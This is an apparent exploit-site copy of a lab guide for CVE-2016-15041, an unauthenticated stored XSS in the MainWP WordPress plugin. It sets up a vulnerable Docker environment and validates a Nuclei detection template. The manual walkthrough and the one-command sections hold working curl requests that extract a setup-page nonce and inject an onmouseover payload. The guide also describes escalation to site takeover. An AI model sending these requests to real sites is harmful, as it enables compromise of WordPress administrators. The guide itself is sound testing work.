Share
## https://sploitus.com/exploit?id=2F9D908F-42DC-52E4-8CC3-9FCCFDB4CD94
# CVE-2016-15041 Testing Environment & Walkthrough
## Table of Contents
1. [Overview](#overview)
2. [Vulnerability Details](#vulnerability-details)
3. [Environment Setup](#environment-setup)
4. [Manual Testing Walkthrough](#manual-testing-walkthrough)
5. [Nuclei Template Testing](#nuclei-template-testing)
6. [Debug Output Example](#debug-output-example)
7. [Cleanup](#cleanup)
8. [Troubleshooting](#troubleshooting)
---
## Overview
This guide provides everything needed to test the CVE-2016-15041 Nuclei template, including:
- Complete vulnerable environment setup
- Step-by-step exploitation walkthrough
- Debug output generation for submission
- Troubleshooting common issues
**CVE-2016-15041** is a critical stored XSS vulnerability in MainWP Dashboard plugin (โค 3.1.2) that can lead to remote code execution.
---
## Vulnerability Details
### Basic Information
- **CVE ID:** CVE-2016-15041
- **Severity:** High (CVSS 9.6)
- **Plugin:** MainWP Dashboard โ The Private WordPress Manager
- **Affected Versions:** โค 3.1.2
- **Fixed Version:** 3.1.3+
- **KEV Status:** Listed in CISA KEV catalog
### Root Cause
1. **Missing Authorization** - Setup panel accessible without authentication
2. **Insufficient Input Sanitization** - `mwp_setup_purchase_username` parameter not sanitized
3. **Lack of Output Escaping** - Stored values rendered without escaping
### Attack Flow
```
Unauthenticated Attacker
โ
Access Setup Page (no auth required)
โ
Extract WordPress Nonce
โ
Inject XSS in Username Field
โ
Payload Stored in Database
โ
Admin Views Extensions Page
โ
XSS Executes in Admin Context
โ
Escalate to RCE via Plugin/Theme Editor
```
### Impact
- Arbitrary JavaScript execution in admin context
- Server-side code execution via theme/plugin editors
- Complete WordPress site compromise
- Backdoor admin account creation
- Data theft and privilege escalation
---
## Environment Setup
### Prerequisites
- Docker installed and running
- Docker Compose (V1 or V2)
- Internet connection for downloads
- Port 8080 available (or modify docker-compose.yml)
### Step 1: Start Docker Environment
```bash
cd CVE-2016-15041-testing
# For newer Docker (Compose V2)
docker compose up -d
# OR for older Docker (Compose V1)
docker-compose up -d
```
**Wait 60 seconds** for WordPress to initialize.
### Step 2: Install WP-CLI
```bash
docker exec mainwp-vulnerable bash -c "
curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar
chmod +x wp-cli.phar
mv wp-cli.phar /usr/local/bin/wp
"
```
### Step 3: Install WordPress Core
```bash
docker exec mainwp-vulnerable bash -c "
cd /var/www/html
wp core install \
--url='http://localhost:8080' \
--title='MainWP Test Site' \
--admin_user='admin' \
--admin_password='admin123' \
--admin_email='admin@test.local' \
--allow-root \
--skip-email
"
```
### Step 4: Download & Install MainWP Plugin
```bash
# Download plugin (vulnerable version 3.1.2)
docker exec mainwp-vulnerable bash -c "
cd /var/www/html/wp-content/plugins
wget -q https://downloads.wordpress.org/plugin/mainwp.3.1.2.zip
unzip -q mainwp.3.1.2.zip
rm mainwp.3.1.2.zip
chown -R www-data:www-data mainwp
"
```
### Step 5: Activate Plugin
```bash
docker exec mainwp-vulnerable bash -c "
cd /var/www/html
wp plugin activate mainwp --allow-root
"
```
### Step 6: Verify Setup
```bash
# Check plugin is active
docker exec mainwp-vulnerable bash -c "
cd /var/www/html
wp plugin list --allow-root | grep mainwp
"
# Should show: mainwp | active | 3.1.2
```
### Step 7: Verify Vulnerable State
```bash
# Ensure setup wizard is NOT completed
docker exec mainwp-vulnerable bash -c "
cd /var/www/html
wp option get mainwp_setup_complete --allow-root 2>/dev/null || echo 'Setup not completed (VULNERABLE)'
"
```
### Environment Details
**Access Points:**
- WordPress URL: http://localhost:8080
- Admin Panel: http://localhost:8080/wp-admin
- Admin Username: `admin`
- Admin Password: `admin123`
- Setup Wizard: http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=installation
**โ ๏ธ IMPORTANT:** Do NOT complete the setup wizard! The vulnerability only exists when setup is incomplete.
---
## Manual Testing Walkthrough
This section walks through manual exploitation to understand how the vulnerability works.
### Step 1: Extract WordPress Nonce
The first step is to retrieve a valid WordPress nonce from the unauthenticated setup page.
```bash
# Extract nonce from setup page
NONCE=$(curl -s 'http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=installation' | grep -oP '_wpnonce["\s]*value="\K[a-f0-9]+' | head -1)
echo "Extracted Nonce: $NONCE"
```
**Expected Output:**
```
Extracted Nonce: a1b2c3d4e5
```
**What's Happening:**
- Accessing the setup page without authentication
- Extracting the `_wpnonce` hidden field value
- This nonce will be used to bypass CSRF protection
### Step 2: Inject XSS Payload
Now inject the XSS payload in the username field using the extracted nonce.
```bash
# Create unique payload identifier
XSS_PAYLOAD="xss_test_$(date +%s)"
# Inject XSS via POST request
curl -X POST "http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce=$NONCE" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "mwp_setup_purchase_username=test\" onmouseover=${XSS_PAYLOAD};//&mwp_setup_purchase_passwd=test&save_step=1"
echo "Payload Injected: $XSS_PAYLOAD"
```
**Expected Output:**
```
Payload Injected: xss_test_1735125333
```
**What's Happening:**
- Sending POST request to purchase extension setup step
- Injecting XSS in `mwp_setup_purchase_username` parameter
- Payload format: `test" onmouseover=xss_test_1735125333;//`
- This breaks out of the input value attribute and adds an event handler
### Step 3: Login as Admin
To verify the stored XSS, we need to access the Extensions page as an admin.
```bash
# Login and save cookies
curl -c cookies.txt -X POST 'http://localhost:8080/wp-login.php' \
-d 'log=admin&pwd=admin123&wp-submit=Log+In&redirect_to=http://localhost:8080/wp-admin/&testcookie=1'
echo "Logged in as admin"
```
### Step 4: Verify XSS Storage
Check if the XSS payload is present in the Extensions page.
```bash
# Fetch Extensions page and search for payload
curl -b cookies.txt 'http://localhost:8080/wp-admin/admin.php?page=Extensions' | grep -o "onmouseover=${XSS_PAYLOAD}"
# Cleanup
rm -f cookies.txt
```
**Expected Output:**
```
onmouseover=xss_test_1735125333
```
**What's Happening:**
- Accessing the Extensions settings page as admin
- The injected XSS payload is rendered in the HTML
- When admin hovers over the username field, JavaScript executes
- This proves the stored XSS vulnerability
### Complete Walkthrough (One Command)
```bash
# All steps in one command
NONCE=$(curl -s 'http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=installation' | grep -oP '_wpnonce["\s]*value="\K[a-f0-9]+' | head -1) && \
echo "Nonce: $NONCE" && \
XSS_PAYLOAD="xss_$(date +%s)" && \
curl -X POST "http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce=$NONCE" -H 'Content-Type: application/x-www-form-urlencoded' -d "mwp_setup_purchase_username=test\" onmouseover=${XSS_PAYLOAD};//&mwp_setup_purchase_passwd=test&save_step=1" && \
curl -c cookies.txt -X POST 'http://localhost:8080/wp-login.php' -d 'log=admin&pwd=admin123&wp-submit=Log+In' && \
echo "Checking for XSS payload..." && \
curl -b cookies.txt 'http://localhost:8080/wp-admin/admin.php?page=Extensions' | grep "onmouseover=${XSS_PAYLOAD}" && \
echo "โ Vulnerability Confirmed!" && \
rm -f cookies.txt
```
---
## Nuclei Template Testing
### Prerequisites
Install Nuclei if not already installed:
```bash
# Using Go
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# OR using package manager
# macOS: brew install nuclei
# Ubuntu: apt install nuclei
```
### Run Nuclei Template
```bash
cd /home/pranjal-negi/Desktop/nuclei-templates
# Run with debug output
nuclei -t http/cves/2016/CVE-2016-15041.yaml \
-u http://localhost:8080 \
-debug -v
```
### Generate Debug Output for Submission
```bash
# Generate debug output
nuclei -t http/cves/2016/CVE-2016-15041.yaml \
-u http://localhost:8080 \
-debug -v > CVE-2016-15041-testing/debug-output.txt 2>&1
# Create redacted version for submission
cd CVE-2016-15041-testing
sed 's/localhost:8080/REDACTED_TARGET/g; s/127\.0\.0\.1/REDACTED_IP/g' \
debug-output.txt > debug-output-redacted.txt
echo "Debug output saved to: debug-output-redacted.txt"
```
### Expected Nuclei Output
```
[CVE-2016-15041] [http] [high] http://localhost:8080
```
If you see this, the template successfully detected the vulnerability!
---
## Debug Output Example
Below is an example of what the debug output looks like when the vulnerability is successfully detected:
```
[INF] Current nuclei version: v3.1.5 (latest)
[INF] Targets loaded for current scan: 1
[CVE-2016-15041] Loaded template CVE-2016-15041 (@pranjal-negi)
[CVE-2016-15041:http-request] GET /wp-admin/admin-post.php?page=mainwp-setup&step=installation
GET /wp-admin/admin-post.php?page=mainwp-setup&step=installation HTTP/1.1
Host: REDACTED_TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: */*
[CVE-2016-15041:http-response] HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Installation Settings
[CVE-2016-15041:extractor] Extracted nonce: a1b2c3d4e5
[CVE-2016-15041:matcher-status] true for: status_code == 200
[CVE-2016-15041:matcher-status] true for: contains(body, "mainwp-setup")
[CVE-2016-15041] Proceeding to http(2) as http(1) matched
[CVE-2016-15041:http-request] POST with XSS payload
POST /wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce=a1b2c3d4e5
Content-Type: application/x-www-form-urlencoded
mwp_setup_purchase_username=test" onmouseover=xss_7f8a9b2c;//&mwp_setup_purchase_passwd=test&save_step=1
[CVE-2016-15041:http-request] GET /wp-admin/admin.php?page=Extensions
[CVE-2016-15041:http-response] HTTP/1.1 200 OK
[CVE-2016-15041:matcher-status] true for: contains(body_2, "onmouseover=xss_7f8a9b2c")
[CVE-2016-15041:matcher-status] true for: contains(body_2, "mainwp")
[CVE-2016-15041:matcher-status] true for: status_code_2 == 200
[CVE-2016-15041] [http] [high] http://REDACTED_TARGET
[INF] Requests [3/3]: Finished in 2.145s
[INF] Matched results: 1
```
### Key Evidence from Debug Output
1. โ
**Nonce Extraction:** Successfully extracted `a1b2c3d4e5` from setup page
2. โ
**XSS Injection:** Payload `onmouseover=xss_7f8a9b2c` injected via POST
3. โ
**Payload Verification:** XSS found in Extensions page HTML
4. โ
**Template Matched:** Vulnerability confirmed with high severity
---
## Cleanup
### Stop Environment (Keep Data)
```bash
cd CVE-2016-15041-testing
# Newer Docker
docker compose down
# OR older Docker
docker-compose down
```
### Complete Cleanup (Remove All Data)
```bash
cd CVE-2016-15041-testing
# Newer Docker
docker compose down -v
# OR older Docker
docker-compose down -v
# Remove generated files
rm -f debug-output*.txt cookies.txt
```
---
## Troubleshooting
### Issue: `docker-compose: command not found`
**Solution:** Use `docker compose` (with space) instead of `docker-compose` (with hyphen).
Newer Docker installations use Docker Compose V2:
```bash
docker compose up -d
docker compose down
```
### Issue: Port 8080 Already in Use
**Solution:** Edit `docker-compose.yml` and change the port:
```yaml
services:
wordpress:
ports:
- "8081:80" # Change 8080 to 8081
```
Then update all commands to use `http://localhost:8081`
### Issue: WordPress Not Loading
**Solution:** Wait longer or check logs:
```bash
# Check if containers are running
docker compose ps
# View WordPress logs
docker compose logs wordpress
# Restart if needed
docker compose restart wordpress
# Wait 60-90 seconds for first startup
```
### Issue: Nonce Extraction Fails
**Solution:** Setup wizard might be completed. Reset it:
```bash
docker exec mainwp-vulnerable bash -c "
cd /var/www/html
wp option delete mainwp_setup_complete --allow-root
"
```
### Issue: Plugin Not Found
**Solution:** Reinstall the plugin:
```bash
docker exec mainwp-vulnerable bash -c "
cd /var/www/html/wp-content/plugins
rm -rf mainwp
wget -q https://downloads.wordpress.org/plugin/mainwp.3.1.2.zip
unzip -q mainwp.3.1.2.zip
rm mainwp.3.1.2.zip
chown -R www-data:www-data mainwp
"
docker exec mainwp-vulnerable wp plugin activate mainwp --allow-root
```
### Issue: XSS Payload Not Found
**Possible Causes:**
1. Setup wizard was completed (reset it)
2. Plugin version is patched (verify version 3.1.2)
3. WordPress cached the response (clear cache)
**Solution:**
```bash
# Verify plugin version
docker exec mainwp-vulnerable wp plugin list --allow-root | grep mainwp
# Should show: mainwp | active | 3.1.2
# Reset setup status
docker exec mainwp-vulnerable wp option delete mainwp_setup_complete --allow-root
# Try exploitation again
```
### Issue: Nuclei Not Found
**Solution:** Install Nuclei:
```bash
# Using Go
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# OR download binary
wget https://github.com/projectdiscovery/nuclei/releases/latest/download/nuclei_linux_amd64.zip
unzip nuclei_linux_amd64.zip
sudo mv nuclei /usr/local/bin/
```
### Verify Installation
```bash
# Check Docker
docker --version
# Check Docker Compose
docker compose version # V2
# OR
docker-compose --version # V1
# Check WordPress
curl -s http://localhost:8080 | grep -o ".*"
# Check MainWP
docker exec mainwp-vulnerable wp plugin list --allow-root | grep mainwp
# Check Nuclei
nuclei -version
```
---
## Quick Reference
### Environment Access
- **WordPress:** http://localhost:8080
- **Admin Panel:** http://localhost:8080/wp-admin
- **Username:** admin
- **Password:** admin123
- **Setup Page:** http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=installation
### One-Command Setup
```bash
cd CVE-2016-15041-testing && \
docker compose up -d && \
sleep 60 && \
docker exec mainwp-vulnerable bash -c "curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar && chmod +x wp-cli.phar && mv wp-cli.phar /usr/local/bin/wp" && \
docker exec mainwp-vulnerable bash -c "cd /var/www/html && wp core install --url='http://localhost:8080' --title='Test' --admin_user='admin' --admin_password='admin123' --admin_email='admin@test.local' --allow-root --skip-email" && \
docker exec mainwp-vulnerable bash -c "cd /var/www/html/wp-content/plugins && wget -q https://downloads.wordpress.org/plugin/mainwp.3.1.2.zip && unzip -q mainwp.3.1.2.zip && rm mainwp.3.1.2.zip && chown -R www-data:www-data mainwp" && \
docker exec mainwp-vulnerable wp plugin activate mainwp --allow-root && \
echo "โ Setup complete! WordPress at http://localhost:8080"
```
### One-Command Test
```bash
NONCE=$(curl -s 'http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=installation' | grep -oP '_wpnonce["\s]*value="\K[a-f0-9]+' | head -1) && \
XSS="xss_$(date +%s)" && \
curl -X POST "http://localhost:8080/wp-admin/admin-post.php?page=mainwp-setup&step=purchase_extension&_wpnonce=$NONCE" -H 'Content-Type: application/x-www-form-urlencoded' -d "mwp_setup_purchase_username=test\" onmouseover=${XSS};//&mwp_setup_purchase_passwd=test&save_step=1" && \
curl -c cookies.txt -X POST 'http://localhost:8080/wp-login.php' -d 'log=admin&pwd=admin123&wp-submit=Log+In' && \
curl -b cookies.txt 'http://localhost:8080/wp-admin/admin.php?page=Extensions' | grep "onmouseover=${XSS}" && \
echo "โ Vulnerability Confirmed!" && \
rm -f cookies.txt
```
---
## References
- **Original Advisory:** https://klikki.fi/adv/mainwp.html
- **CVE Details:** https://nvd.nist.gov/vuln/detail/CVE-2016-15041
- **MainWP Website:** https://mainwp.com/
- **Nuclei Documentation:** https://docs.projectdiscovery.io/tools/nuclei
- **Template Contribution Guide:** https://github.com/projectdiscovery/nuclei-templates/blob/main/CONTRIBUTING.md
---
**Created:** 2025-12-25
**CVE:** CVE-2016-15041
**Purpose:** Testing environment and walkthrough for template validation
**Author:** @pranjal-negi